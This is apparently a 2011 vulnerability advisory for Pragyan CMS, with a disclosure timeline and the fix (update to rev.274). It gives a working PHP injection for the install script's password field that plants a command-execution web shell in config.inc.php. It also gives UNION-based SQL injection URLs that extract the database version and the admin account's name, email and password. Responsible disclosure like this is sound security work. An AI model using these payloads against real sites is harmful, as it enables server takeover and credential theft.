*Affected Software* Pragyan CMS Product Link: http://sourceforge.net/projects/pragyan/ Technical Description 1) Code execution in INSTALL/install.php script not correctly validate entered fields. possibly write at password field string: ");echo exec($_GET["a"]);echo (" or in another fields with turned of javascript. in cms/config.inc.php will be code: define("MYSQL_PASSWORD","");echo exec($_GET["a"]);echo (""); which allow command execution. 2) sql injection - get mysql version http://host/+view&thread_id=-1 UNION ALL SELECT null,null,null,null,concat(unhex(Hex(cast(@@version as char)))),null,null,null-- - get admin account http://host/+view&thread_id=-1 UNION ALL SELECT null,null,null,null,(SELECT concat(0x7e,0x27,unhex(Hex(cast(pragyanV3_users.user_id as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_name as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_email as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_password as char))),0x3a,unhex(Hex(cast(pragyanV3_users.user_fullname as char))),0x27,0x7e) FROM `pragyan11`.pragyanV3_users LIMIT 0,1),null,null,null-- Solution update to Pragyan CMS 3.0 rev.274 Changelog 2011-19-02 : Initial release 2011-20-02 : Reported to vendor 2011-25-02 : patch released 2011-25-02 : public disclose Credits Abhishek Lyall pragyan.org http://egoistka.org.ua/ -------------------- Best wishes, villy http://bugix-security.blogspot.com/